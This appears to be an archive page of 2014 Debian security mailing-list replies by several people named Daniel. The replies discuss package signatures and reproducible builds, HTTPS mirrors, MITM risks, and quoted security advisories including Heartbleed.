Archive: https://lists.debian.org/548609e1.7040...@pocock.pro

Re: [SECURITY] [DSA 3074-1] php5 security update

[Daniel Reichelt]

Just filed a bug: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=770105

cheers
daniel


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/546bc6d3.9040...@nachtgeist.net

Re: [Reproducible-builds] concrete steps for improving apt downloading security and privacy

[Daniel Kahn Gillmor]

On 09/22/2014 04:07 AM, Elmar Stellnberger wrote:
 Am 22.09.14 um 01:52 schrieb Paul Wise: 
 The Debian archive does not allow files to change their checksum, so
 every signature addition requires a new version number. That sounds
 like a bad idea to me.
 Yes, that is something we definitely do not want.
 Nonetheless it would still be an issue to have the package and the
 signatures
 in one file because we usually need them together. My only idea to
 realize this
 in spite of the said objection would be another proposal:
 Put the .deb and the signatures into one .ar called .sdeb and make tools
 like
 dpkg work on .sdebs or on .deb + signatures respecively. Whenever someone
 offers some packages for download that will be in the form of .sdebs while
 official debian repositories may separate both kinds of files. User
 interfaces
 like http://debtags.debian.net/search/ could then generate .sdebs on the
 fly
 to satisfy petted users.

This is almost exactly what i proposed a couple days ago on the
reproducible-builds mailing list [0], except that i used the extension
.debs instead of .sdeb :)

--dkg

[0]
http://lists.alioth.debian.org/pipermail/reproducible-builds/Week-of-Mon-20140915/000432.html



signature.asc
Description: OpenPGP digital signature

Re: [Reproducible-builds] concrete steps for improving apt downloading security and privacy

[Daniel Kahn Gillmor]

On 09/21/2014 02:04 PM, Elmar Stellnberger wrote:
 a well programmed dpkg-cmp.
 ... and as long as the tool should not be available simply un-ar and
 compare
 the data.tar.gz-s.

fwiw, this suggestion fails to compare the contents of control.tar.gz,
which includes the maintainer scripts (preinst, postinst, etc).

If someone wanted to damage your system with a modified package,
modified preinst and postinst scripts would be much more effective (they
run as root, automatically upon package installation!) than just
tweaking a given binary.

i just wanted to point out that this theoretical dpkg-cmp is at least
slightly more complex than the above suggestion makes it out to be.

And of course there are many other tools already that use plain old cmp
or digest comparisons against .deb packages already, and thinking about
how to interoperate with existing infrastructure is important.

--dkg



signature.asc
Description: OpenPGP digital signature

Re: [Reproducible-builds] concrete steps for improving apt downloading security and privacy

[Daniel Kahn Gillmor]

On 09/19/2014 06:07 AM, Elmar Stellnberger wrote:
Isn`t there really any way to include the signatures in the header of
 the .deb files?
 Why not simply add multiple signature files in the control.tar.gz of a
 .deb just next
 to the md5sums which should in deed be a sha256sums (otherwise there is
 no way
 to establish a 'chain of trust'). That would not add any non-determinism
 because
 if it is done right then we can have all the signers in the package!

If we succeed in creating reproducible builds (we're farther along
toward that goal than i had dared hope, it's exciting!) then one of the
nice opportunites we have is for other people or organizations to
corroborate the build after the package is first distributed.  For
example, an upload to sid might have one signature (by the original
uploader), but maybe it waits to transition to testing until there are
corroborations from multiple builders. (Note: this is not a concrete
proposal or an expectation of exactly what will happen, just a thought
experiment)

In this scenario, how do you propose to add those signatures into the
package?  If we bundle them into the .deb, then the size and digest of
the .deb itself changes after it is first distributed.  This seems like
it would violate all sorts of existing expectations -- i can't imagine
how many different tools and pieces of infrastructure expect that
foo_1.2-3_mipsel.deb should always have the same size and digest.

It would be far better than detaching the signatures from the package
 because
 the general use case where you need package signatures is the manual
 download
 of packages. Detached signatures are completely useless for such a use
 case!

I don't think this is the case.  People who download a .deb and verify
it could also download the associated .buildinfo file and whichever
signatures they'd like (or all of them) and verify the package that way.

--dkg



signature.asc
Description: OpenPGP digital signature

Re: [Reproducible-builds] concrete steps for improving apt downloading security and privacy

[Daniel Kahn Gillmor]

On 09/19/2014 12:34 AM, Paul Wise wrote:
 On Fri, Sep 19, 2014 at 9:30 AM, Hans-Christoph Steiner wrote:
 
 Finally did this:
 http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762153
 
 Please note that you proposal to add signatures to .deb files will
 break reproducible builds because the hash of the .deb will differ
 depending on who signed it:
 
 https://wiki.debian.org/ReproducibleBuilds
 
 I think it would be far better to ship detached signatures in the
 archive since that allows for reproducible builds and also means there
 could be more than one signer (say one buildd, one Debian sponsor and
 one package maintainer).

I agree with pabs on this.

fwiw, i'm also hoping that we can ship at least one other signature for
the upstream tarball (where such a thing exists):

 https://bugs.debian.org/759478

We also had a discussion in the reproducible-builds BoF at DC14 about
how to deal with signatures on .buildinfo files, and came to the same
conclusion: that a .buildinfo file should have detached signatures, to
allow for multiple (corroborative) signers:

 https://wiki.debian.org/ReproducibleBuilds#A.buildinfo_signatures

Note that a signature over a .buildinfo file should effectively cover
the digest of the built .deb files, which should creates a strong
cryptographic chain if you trust the hash function.

Given that we would ultimately like one or more signed .buildinfo files
shipped in the archive, and that they represent a way to have an
builder's signature over a .deb, i think these make the idea of an
internally-signed .deb redundant.

Thanks to everyone who is thinking about and working on improving the
cryptographic integrity of the archive!

--dkg



signature.asc
Description: OpenPGP digital signature

Re: vacation mail

[Daniel]

It's not the first, and it won't be the last.

Y'know, if I was a malicious individual I might lurk the Debian security 
mailing lists until I saw such an announcement, and then wait for a security 
vulnerability, for example [DSA 2998-1] to be posted thereafter. Deducing that 
the individual or their organisation ran Debian, I might then scan or probe the 
domain which issued to vacation mail to ascertain if they were vulnerable. 
Having all the information I needed to take advantage of the vulnerability in 
the DSA, I might then attack said individual or their organisation, safe in the 
knowledge that they would not be back in the office to deal with the problem 
until August 25th. Such vacation mails would make my job alot easier.

IT is fortunate for the senders of such mails that I am not a malicious 
individual.

Best regards,

Daniel

On 6 Aug 2014, at 09:49, Grond wrote:

 Bugger, but someone has *reeaally* poor manners.
 
 A vacation notice to a mailing list?
 I mean; really?
 
 I do *hope* that we will not be spammed by this until 
 August 25th.
 
 (I realize that this rant may not meet
 minimum notability for this list.)
 
 
 On Tue, Aug 05, 2014 at 08:13:31PM +0200, programac...@sf-informatica.com 
 wrote:
 Els missatges enviats a aquesta adreça de correu no s'atendran fins al 25 
 d'agost. Si us plau, si és urgent, posi's en contacte amb 
 urgenc...@sf-informatica.com. Disculpi les molèsties.
 
 Los mensajes enviados a esta dirección de correo no se atenderán hasta el 25 
 de agosto. Por favor, si es urgente, póngase en contacto con 
 urgenc...@sf-informatica.com. Disculpe las molestias.
 
 
 
 
 -- 
 To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
 with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
 Archive: 
 https://lists.debian.org/20140805181331.32e066041d...@11vs2.vspain.net
 
 -- 
 
 Attached is my PGP public key.
 Primary key fingerprint: B7C7 AD66 D9AF 4348 0238  168E 2C53 D8FA 55D8 9FD9
 
 If you have a PGP key (and a minute to spare)
 please send it in reply to this email.
 
 If you have no idea what PGP is, feel free
 to ignore all this gobbledegook.
 Mail Attachment


--
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: 
https://lists.debian.org/646a2551-a655-4620-b57f-46a5cbed4...@noflag.org.uk

Re: [SECURITY] [DSA 2972-1] linux security update

[Daniel Thomas Hasbrouck]

Thank You  S. B. very much. now all I have to do; is Buy a new PC.



Thanks again, dth


On Sun, Jul 6, 2014 at 9:16 AM, Salvatore Bonaccorso car...@debian.org
wrote:

 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA512

 - -
 Debian Security Advisory DSA-2972-1   secur...@debian.org
 http://www.debian.org/security/  Salvatore Bonaccorso
 July 06, 2014  http://www.debian.org/security/faq
 - -

 Package: linux
 CVE ID : CVE-2014-4699

 Andy Lutomirski discovered that the ptrace syscall was not verifying the
 RIP register to be valid in the ptrace API on x86_64 processors. An
 unprivileged user could use this flaw to crash the kernel (resulting in
 denial of service) or for privilege escalation.

 For the stable distribution (wheezy), this problem has been fixed in
 version 3.2.60-1+deb7u1. In addition, this update contains several
 bugfixes originally targeted for the upcoming Wheezy point release.

 For the unstable distribution (sid), this problem will be fixed soon.

 We recommend that you upgrade your linux packages.

 Further information about Debian Security Advisories, how to apply
 these updates to your system and frequently asked questions can be
 found at: http://www.debian.org/security/

 Mailing list: debian-security-annou...@lists.debian.org
 -BEGIN PGP SIGNATURE-
 Version: GnuPG v1

 iQIcBAEBCgAGBQJTuW7PAAoJEAVMuPMTQ89EryEP/3iUzWWveiBYU6GCWfFEqUMw
 5BBcKFkNsxLbWWMXTpAShO9x1VPOQznddYA1qg5rMqvsNjoQFqKJN7d3tMjzYUi4
 wVpYnBCsmskXHXYTlkr/43Iafn7v4J7796X6uZiUpvosqXJr6wBdqwo57KjL4IRc
 K0YlnmU6PrJ2scEEph/czP+c9o3f5MPGhw8YyHN0GFeQmLAc2JdrAZwKCD5Awloj
 CCH5Wh34km3v/y4HzBDeBeqxp8s610vre/+Crt4aD/HvAf7Dho/uyw1VR5D8vKHH
 eHvwVX9JYMAsDAuDd7j4xooTh4l9ts3NVivvLK/flFEj+1lLo+WEhZO+MvNt/lRH
 XOpHLNltAt7LHQZqh07RqJ/Ggf8ieotqiNSCUJJoJy+3FiVvSIvqYbsA0OmvbVY5
 c97dxLJSZMjCnPpkMdn8Xh66HGznHbsmT436nngsoneejSpieViNRH4T9rskJylw
 6epCTKW/aLbn2+Avju0b3H7s0teiafhWXfNuIk/q6tuu1WDYuqvhimxs94EVWtFz
 SynAiszxbjnOAGrvsy0EYM+5Kof/VUvPm2Q7supucXbcsVI3ffyEHKoqukAZhAs6
 Lx4m6dYQQ3dzbubalFLBoklVqkIGV3+M6aXrLgdcGa+rRBee1+c4ZRXgHjKVAl2L
 dcifXWXUR3J/5gJbs2yq
 =Zy2b
 -END PGP SIGNATURE-


 --
 To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org
 with a subject of unsubscribe. Trouble? Contact
 listmas...@lists.debian.org
 Archive: https://lists.debian.org/e1x3p6s-0001vj...@master.debian.org

Re: concrete steps for improving apt downloading security and privacy

[Elias-Daniel Eizenstein]

I don't understand why so much noise on this subject.
Https for Debian mirrors and a server centralized, maintained and owned 
by Debian for debsig-verify / debsums packages it will be enough, at 
least for the next years.



PS: from now on I will filter out any email regarding nsa, debian 
mirrors or mitm... :)



Best regards,

Elias

On 07/08/2014 01:43 AM, Jeremie Marguerie wrote:

On Mon, Jul 7, 2014 at 3:15 PM, Lou RUPPERT hims...@louruppert.com wrote:

If I'm looking at a catalog page from a shoe store on my table,
connected via the phone network, getting close to my 2G cap for my
wireless router for the month. My battery's getting low. Do I want
to waste bandwidth and CPU cycles for TLS encoding, just for
pictures of shoes?

Let's try to turn our focus back to the question at hand, which is
whether there are merits to promoting https mirrors for users who have
concerns about being watchlisted based on their software choices. I
think client cpu cycle and bandwidth concerns are a bit of an
anachronism these days anyway.

I think you pulled out the only reason why using https for mirrors
would be useful.

The threat analysis doesn't show any practicable way for the any
attacker to prevent alter packages even with control of the network.
He could block updates but the client-side would noticed: out-of-date
repository and package list, failed to download specific packages.

HTTPS is a solution to this risk scenario:
  A) I don't want anyone to know which package I download (passive listening)
  B) I don't want a third party to selectively prevent me from
downloading a package/update (active man i the middle)

Scenario A is more likely to happen or to already be in place.

HTTPS in this case is *not* about security but just privacy.

1) Performance concern: The CPU cycles for encrypting is now low
enough so that it seems feasible. Not all package providers need to
provide https-based repository but having a few of those and give them
visibility would be greatly appreciated.

2) TLS certificates: we do not need the package to be behind a
debian certificate, just to be behind a certificate trusted by a
recognized third party (same requirement as for websites). Since we do
not seek authentication of the package but just privacy, we only need
to ensure that we talk to the server we wanted to, whichever it is.




--
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/53bb9ab5.6070...@skin.ro

Re: concrete steps for improving apt downloading security and privacy

[Daniel]

On Mon, Jul 07, 2014 at 02:54:15PM -0400, Hans-Christoph Steiner wrote:
 
 Do you have another idea for making it difficult for network observers to keep
 track of the software people are using?
 
Well, you can always mirror the entire repository and configure
your server/desktop to use that instead. That way noone can tell
for certain which packages you are using, and as a bonus, you have
offline access if your internet connection goes down.

I am not sure about the size of it though.

 Do you think it does not matter that governments and companies are tracking
 the packages that people are downloading?
 
 
 .hc
 


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/20140708211638.gc24...@noserver.visp.name

Re: [SECURITY] [DSA 2968-1] gnupg2 security update

[Daniel Thomas Hasbrouck]

 what should I do with the Above gobble-D-GOOK? even my usb Flashdrives
Are wiped!, (not by me!).


On Fri, Jun 27, 2014 at 1:14 AM, Salvatore Bonaccorso car...@debian.org
wrote:

 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA512

 - -
 Debian Security Advisory DSA-2968-1   secur...@debian.org
 http://www.debian.org/security/  Salvatore Bonaccorso
 June 27, 2014  http://www.debian.org/security/faq
 - -

 Package: gnupg2
 CVE ID : CVE-2014-4617
 Debian Bug : 752498

 Jean-Rene Reinhard, Olivier Levillain and Florian Maury reported that
 GnuPG, the GNU Privacy Guard, did not properly parse certain garbled
 compressed data packets. A remote attacker could use this flaw to mount
 a denial of service against GnuPG by triggering an infinite loop.

 For the stable distribution (wheezy), this problem has been fixed in
 version 2.0.19-2+deb7u2.

 For the testing distribution (jessie), this problem has been fixed in
 version 2.0.24-1.

 For the unstable distribution (sid), this problem has been fixed in
 version 2.0.24-1.

 We recommend that you upgrade your gnupg2 packages.

 Further information about Debian Security Advisories, how to apply
 these updates to your system and frequently asked questions can be
 found at: http://www.debian.org/security/

 Mailing list: debian-security-annou...@lists.debian.org
 -BEGIN PGP SIGNATURE-
 Version: GnuPG v1

 iQIcBAEBCgAGBQJTrSUZAAoJEAVMuPMTQ89ExOEP/1Ycmnphx4Quq4BvlIFM8EbR
 vhH2tfBSUr4VAgik2AkGKOUTaci6qJLrs9Sf4lGnjobTXFn8+BitNiO3AFn2wIq1
 eIqosXZxUflNquCvSyfxjid8MuJk7DOzSca8QENlTQfDKk+5LpWGfKM1I2dKSvOh
 Q4KTfcQU6nM17Epczj6eAUDqGdX+I5qPBJLTD5Cc+t9eOy2Erdaj+NWUc/lBDjgo
 oQDw/ytZLzI5AwJoc1dAtQR0pEbNlBXrGOs9p1+8VdZ4V7cNjkPJLtsHZj0d+M8o
 0/4IsKQEM4Fzu4nrjTiiLDpf2+tYqHMtst9AzY0Hf1gaZAGA0Sdx5Kvts5zBSfz8
 WbiKTZvvLqgkWUOdxqIf9/tT6tbr8vkuNPdtcBnvyIM8fb4MiXcBBbhG03fTgvpr
 f776rjk6Y3IWHp0RhNBn8Lep4YGExzyoKikTqUjQoHcMGVhCBtcAfTnLlCKc8IVz
 UPyp0gzv1GTrMeZq8riyLckBpBMTf0i8bEncK/0buyBwDevjdFGSUoBh+hsqtktV
 dUYNTLpSJoqAAbWCqytiPQ7A6VP5IyuXmUcn1vIFTV9gGFsChpIJFQ/Y298X6xM6
 u+Z7NhZjcrvfGy+I7Hcv1q1tHQszdvPJZc46dFBKhpupKA+swvg3iG4FbTxNPOH1
 kk6B9YFnYI+Nq2zzcyAr
 =7fez
 -END PGP SIGNATURE-


 --
 To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org
 with a subject of unsubscribe. Trouble? Contact
 listmas...@lists.debian.org
 Archive: https://lists.debian.org/e1x0ris-ay...@master.debian.org

Re: [SECURITY] [DSA 2970-1] cacti security update

[Daniel Thomas Hasbrouck]

What am I supposed to Download this ONTO?   PC I'm ON, is a PUBLIC Library
PC.  all of MY USB Flash-Drive are Wiped Clean.  gobble-D-Gook =
incomprehensible Material.


On Sun, Jun 29, 2014 at 10:58 AM, Moritz Muehlenhoff j...@debian.org wrote:

 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA1

 - -
 Debian Security Advisory DSA-2970-1   secur...@debian.org
 http://www.debian.org/security/Moritz Muehlenhoff
 June 29, 2014  http://www.debian.org/security/faq
 - -

 Package: cacti
 CVE ID : CVE-2014-2326 CVE-2014-2327 CVE-2014-2328 CVE-2014-2708
  CVE-2014-2709 CVE-2014-4002

 Multiple security issues (cross-site scripting, cross-site request
 forgery, SQL injections, missing input sanitising) have been found in
 Cacti, a web frontend for RRDTool.

 For the stable distribution (wheezy), these problems have been fixed in
 version 0.8.8a+dfsg-5+deb7u3.

 For the testing distribution (jessie), these problems have been fixed in
 version 0.8.8b+dfsg-6.

 For the unstable distribution (sid), these problems have been fixed in
 version 0.8.8b+dfsg-6.

 We recommend that you upgrade your cacti packages.

 Further information about Debian Security Advisories, how to apply
 these updates to your system and frequently asked questions can be
 found at: http://www.debian.org/security/

 Mailing list: debian-security-annou...@lists.debian.org
 -BEGIN PGP SIGNATURE-
 Version: GnuPG v1

 iQIcBAEBAgAGBQJTsFOEAAoJEBDCk7bDfE42Nz0QAJB/n4g/zhKu86yaLNqZQBhR
 tT1m51OJ9+2tUI96wnA4ZNUlFqCByCG/CjJGDUWoOGGjD6brZ3xufrLyD0SNickv
 8XB+Wdbv/N6q0joKD96WtYYQcaLNUlhCGyzFmLLa2bo6n9v+85lNDJINCJt2Y3Wy
 B6pyVREhfLGyOdwdrMHn/25yZ7jSc+Cd/o03GyJamZMn6gjY3rh2sNAeCbUIq5Oi
 GFZ9LJvmcHKeSJOm0FFQSFmTrIbLMUb/1/TK2LLAGiHN4fpjkMZsN+vyTgCwgG8y
 7sjhz3QizQ6C/PKGpdmhgmbTgJbGdxO6pyzDGpNxVx+q6eGWP6D5NsbIuNQB9Q/4
 hG+95CJI8orxdyGtu3UVuW3ZjJOi5h2a2oOT1J+dEHhpmrhNXq9aZ+NtCw8RUzuF
 pSH4zNwk078PnYn1vKUBrIZhsrRHB1n4I6FjAm1JpFFWfPzJnPQrE3jxRjNALUqj
 PSyJ3VA54FcHfu/BRj9dqBMFb8zIgOUaO7OOEJ2nsV451IfMHkFtP9uMHSznogaG
 VP6rC8ue/aAyhSEXaBCj+bOLp6UVc9JNXoVL992tKk7EPQsd3Bim7IZnwyhJukAa
 qSlAqstZbAlA+khpcYA6Uq1pFkxlj7rnLIGiskHwMALRGBNmSYUXych9q1qjqxyO
 kfWXzI3r7DFK5U+DqeKs
 =NbC+
 -END PGP SIGNATURE-


 --
 To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org
 with a subject of unsubscribe. Trouble? Contact
 listmas...@lists.debian.org
 Archive:
 https://lists.debian.org/20140629175803.GA2541@pisco.westfalen.local

Re: Debian mirrors and MITM

[Daniel]

On Fri, May 30, 2014 at 11:50:32PM +1000, Alfie John wrote:
 Several times (public and private) I tried to explain how the download
 of APT (the binary itself) on an initial Debian install could be
 compromised via MITM since it's over plaintext. Then the verification of
 packages could simply be skipped (hence NOP). I'm not sure why you're
 bringing libc and libgpg into the conversation.
 
 Alfie
 

Hello.

The thing is: When you download an .iso file, that .iso file also
contains a signing key used to verify each package it downloads during
the installation. Encryption is not important in this aspect, because
what you are downloading is already publicly available and not secret.
Everyone can download the same packages as the installer. Those are
already public.

The important bit is to verify that what you are downloading either
manually, or via the installer, hasn't been tampered with. That is
verification, and that is what is interesting here. The .iso file
already contains a public key, and verifies every package it downloads
along the way. You can disable that by hacking a bit in the installer,
but it does requires an effort.

For the next problem: Some mirror might theoretically have an .iso file
which has been tampered with, but you should check the checksum for that
file with what you find in the debian web-pages. If you download a .iso
file via HTTP, it might have been tampered with, and if someone is
intercepting your request for the public key, it might be changed. But i
think that would be a problem anyways...


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/20140530141605.GC17668@s1.t11.local

Re: Debians security features: Which are active?

[daniel]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

It would however be useful for Debian administrators interested in
security to know somehow what these features do, under what
circumstances they would be useful, and how to enable them in Debian. I
found the Hardening Debian guides on the wiki (linked to earlier)
difficult to understand and apply in this regard.

Daniel

Cédric Lemarchand wrote:
 Please, honestly, do you know what every features in this list does,
 how they could be benefit for you and in which way ?
 
 Or did your choice will *only* be based on the number of 
 supported/enabled features ?
 
 
 Le 17/05/2014 12:38, herzogbrigit...@t-online.de a écrit :
 Thank you for all your replies. I understand that the user is
 important for security, but it's a difference whether you start
 from scratch or you can work with somethink prebuilt. So, could you
 tell me, which of the following securit features are enabled in
 Debian by default and which I have to activate manually:
 
 Stack Protector Heap Protector Pointer Obfuscation Stack ASLR 
 Libs/mmap ASLR Exec ASLR brk ASLR VDSO ASLR Built as PIE Built with
 Fortify Source Built with RELRO Built with BIND_NOW Non-Executable
 Memory /proc/$pid/maps protection Symlink restrictions Hardlink
 restrictions ptrace scope 0-address protection /dev/mem protection 
 /dev/kmem disabled Block module loading Read-only data sections 
 Stack protector Module RO/NX Kernel Address Display Restriction 
 Blacklist Rare Protocols Syscall Filtering Block kexec
 
 For further information go to
 https://wiki.ubuntu.com/Security/Features
 
 
 Thank you very much!
 
 Brigitte Herzog
 
 
 -Original-Nachricht- Betreff: Debians security features in
 comparison to Ubuntu Datum: Fri, 16 May 2014 22:04:07 +0200 Von:
 herzogbrigit...@t-online.de herzogbrigit...@t-online.de An:
 debian-security@lists.debian.org
 
 Hello there, I'm a new user of the great Debian distro for my
 Desktop. But when I talked to a friend and I told him, that I'm
 using Debian (Wheezy) for my desktop computer, he told me that I
 shoudn't use it because it is not secure. He told me to use Ubuntu
 instead. He explained that with the fact, that Ubuntu has more
 security features enabled than Debian (also more compiler flags for
 security) in a fresh install. He gave me a link to the following
 site: https://wiki.ubuntu.com/Security/Features
 
 So, I'm very happy with Debian but because my friend seems to be an
 expert for Linux, I don't know if I can use Debian. Can you tell me
 which of the security features promoted by Ubuntu are also enabled
 in Debian?
 
 Thank you very much!
 
 Brigitte Herzog
 
 
  
 Mit einer kostenlosen E-Mail-Adresse @t-online.de werden Ihre Daten
 verschlüsselt übertragen und in Deutschland gespeichert. 
 www.t-online.de/email-kostenlos
 
 
 
 
-BEGIN PGP SIGNATURE-
Version: GnuPG/MacGPG2 v2.0.19 (Darwin)
Comment: GPGTools - http://gpgtools.org
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEcBAEBCgAGBQJTd0rKAAoJEJhsX8U2K7jUbSAIAI11RQsZyXq38rbbncsh59Vv
+7TX+olQ7B6tbQEbJ9pQD85GNjmt1UvEcaoDYmPyPI4NSoX6Y6bgb8QCStEAsgYo
ci4HlEatDiaSrj2vzYEqZdpeMYJX09XArZEhtDJTrbGLCF2upu11LlhXVqPbku33
B4gQbIZEzfCUP0S9ZaRt81bsR6UKPji7I5Z8LHr9bTYHRts4JNySnGFxkL5u1FoY
WF8xsoRhDfNtI74KcMMJg0okeur7kgQIY2928ZM5O+LLyCutbGlnI17Rv5P0JR8n
5xpnhSsWVlgyvNgPA6agnHz1Ss92DTfE2BEdUSQmM3Imp6B5WCwPoosL/CschUQ=
=rkAX
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/53774aca.9080...@noflag.org.uk

RE: [SECURITY] [DSA 2926-1] linux security update

[Daniel Genis]

Die CVE-2014-0196 is wel interessant

Local kernel DoS || privilege escalation

 Original message 
From: Moritz Muehlenhoff j...@debian.org 
Date: 12/05/2014  17:59  (GMT+01:00) 
To: debian-security-annou...@lists.debian.org 
Subject: [SECURITY] [DSA 2926-1] linux security update 
 
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- -
Debian Security Advisory DSA-2926-1   secur...@debian.org
http://www.debian.org/security/    Moritz Muehlenhoff
May 12, 2014   http://www.debian.org/security/faq
- -

Package    : linux
CVE ID : CVE-2014-0196 CVE-2014-1737 CVE-2014-1738 CVE-2014-2851 
 CVE-2014-3122

Several vulnerabilities have been discovered in the Linux kernel that 
may lead to a denial of service, information leaks or privilege 
escalation:

CVE-2014-0196

    Jiri Slaby discovered a race condition in the pty layer, which could
    lead to denial of service or privilege escalation.

CVE-2014-1737 / CVE-2014-1738

    Matthew Daley discovered that missing input sanitising in the
    FDRAWCMD ioctl and an information leak could result in privilege
    escalation.

CVE-2014-2851

    Incorrect reference counting in the ping_init_sock() function allows
    denial of service or privilege escalation.

CVE-2014-3122

    Incorrect locking of memory can result in local denial of service.

For the stable distribution (wheezy), these problems have been fixed in
version 3.2.57-3+deb7u1. This update also fixes a regression in the isci
driver and suspend problems with certain AMD CPUs (introduced in the
updated kernel from the Wheezy 7.5 point release).

For the unstable distribution (sid), these problems will be fixed soon.

We recommend that you upgrade your linux packages.

Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/

Mailing list: debian-security-annou...@lists.debian.org





-BEGIN PGP SIGNATURE-
Version: GnuPG v1

iQIcBAEBAgAGBQJTcO+9AAoJEBDCk7bDfE421QQP/j08SKXHiHXcdZmtcP1ifE9P
fBvddKDd9thLxec1bn4VhFDsDMMESvMGV4S62FaAuet7OU8GpX899ctGeZiR4YM6
EKpd86hwWiChs+PPhyEpae9/gX0ZDGJLToE5PyggOa/anpZ39yHT6rDccl/H9rIc
OgFE7ru8je/I1jdeOlqdJLZ2YicM/xLy1gF6WwZFvfKUXHbeJ9cnz5VZR/R1aJCb
Ys/rj2QjKDaXvDuW+l+ybQOL6nqevH1upFL4u+kkiOk78q2UoJdyYSeKGLrtIYBW
3SRnY8xHNAtHrldzDjXdFaTqd880/ter5l9OXo9zcR8wUojAqWbSDW+0TC/5CmRL
oWa72DuCoxdulsmZQZydxB0U87pudsI2Ez5wiXVXfPWD7Ykwad+j/AV3EBaUEKwi
hnWt+9IFWgIjnVnDbPbwfUkmzRCa58ewo10alxEq/supTrkAU/5xQbEtejt4MYtq
TGy8b51aWg5VYpEze5HrPBPyl2szdOF+j9OhNF08Rh/RMGbzSi3Qamr/xsG1PhBx
+93FcjfembChbPihpUQp7by/2xtT3Td1TA1Q7o3vgKk/bdcmsI1JMdPs46H+AFpi
xRgd1dxxPpCaTTCgVHkp6uykWhQcW+nI87OEv/Ibxdch+qrlPs4BxxTk9uL0OHGa
mlcOLozLVQLTcPYUAGL6
=AqGQ
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-security-announce-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/20140512155945.GA2521@pisco.westfalen.local

Re: [SECURITY] [DSA 2896-1] openssl security update

[daniel]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Dear all,

We are very concerned about the 'Heartbeat' security problem which has
been discovered with OpenSSL. Thanks to our out-of-date old-stable
version of debian, we are using:

openssl 0.9.8o-4squeeze14

This page also claims debian 6 (which we use) is unaffected:
https://www.digitalocean.com/community/articles/how-to-protect-your-server-against-the-heartbleed-openssl-vulnerability

as does the text of the DSA below.

However, both of the heartbeat vulnerability checkers we have used have
told us that they were able to successfully exploit this vulnerability
against our site:

http://filippo.io/Heartbleed/#noflag.org.uk
https://www.ssllabs.com/ssltest/analyze.html?d=noflag.org.uk

What could be going on here?

Thanks in advance for all your help,

Daniel

Salvatore Bonaccorso wrote:
 -

 
Debian Security Advisory DSA-2896-1   secur...@debian.org
 http://www.debian.org/security/  Salvatore
 Bonaccorso April 07, 2014
 http://www.debian.org/security/faq 
 -

  Package: openssl CVE ID : CVE-2014-0160 Debian Bug
 : 743883
 
 A vulnerability has been discovered in OpenSSL's support for the 
 TLS/DTLS Hearbeat extension. Up to 64KB of memory from either client
 or server can be recovered by an attacker This vulnerability might
 allow an attacker to compromise the private key and other sensitive
 data in memory.
 
 All users are urged to upgrade their openssl packages (especially 
 libssl1.0.0) and restart applications as soon as possible.
 
 According to the currently available information, private keys should
 be considered as compromised and regenerated as soon as possible.
 More details will be communicated at a later time.
 
 The oldstable distribution (squeeze) is not affected by this 
 vulnerability.
 
 For the stable distribution (wheezy), this problem has been fixed in 
 version 1.0.1e-2+deb7u5.
 
 For the testing distribution (jessie), this problem has been fixed
 in version 1.0.1g-1.
 
 For the unstable distribution (sid), this problem has been fixed in 
 version 1.0.1g-1.
 
 We recommend that you upgrade your openssl packages.
 
 Further information about Debian Security Advisories, how to apply 
 these updates to your system and frequently asked questions can be 
 found at: http://www.debian.org/security/
 
 Mailing list: debian-security-annou...@lists.debian.org
 
 
-BEGIN PGP SIGNATURE-
Version: GnuPG/MacGPG2 v2.0.19 (Darwin)
Comment: GPGTools - http://gpgtools.org
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEcBAEBCgAGBQJTSAmqAAoJEJhsX8U2K7jUaD0H/2FUZIr4qKST1NCAKrgjP53V
jQknF8erQrGhUrP1hKE2FckuKJljeUAv6rUEVJCiuEPWmCgL08Eoy1SZuIG2S72q
vRbfyYaIz2GKVoGdbkW0GMe963mLUhJ1H5PdcPrsApUZ9AcwQPYKGqLx4/TTrOsB
nbr19ELLQbZCfE8SsUuMDpy/bHeF3c9gb5iUhcnpow6KIjzYGKaJfhiV6HxVlkDX
krdkegdOUn2wKu/deLoARpMqyz6a7son8YcbQ71/XIogtGnxY0L4T9Nabj4NChB/
ggIu+7x62teyb56vToySrXKF5HaqDE2Bna7cJSlD0ia64ME1yG/4joL93Jt10IY=
=kDpQ
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/534809aa.2000...@noflag.org.uk

Re: Aw: Re: [SECURITY] [DSA 2896-1] openssl security update

[daniel]

-BEGIN PGP SIGNED MESSAGE-
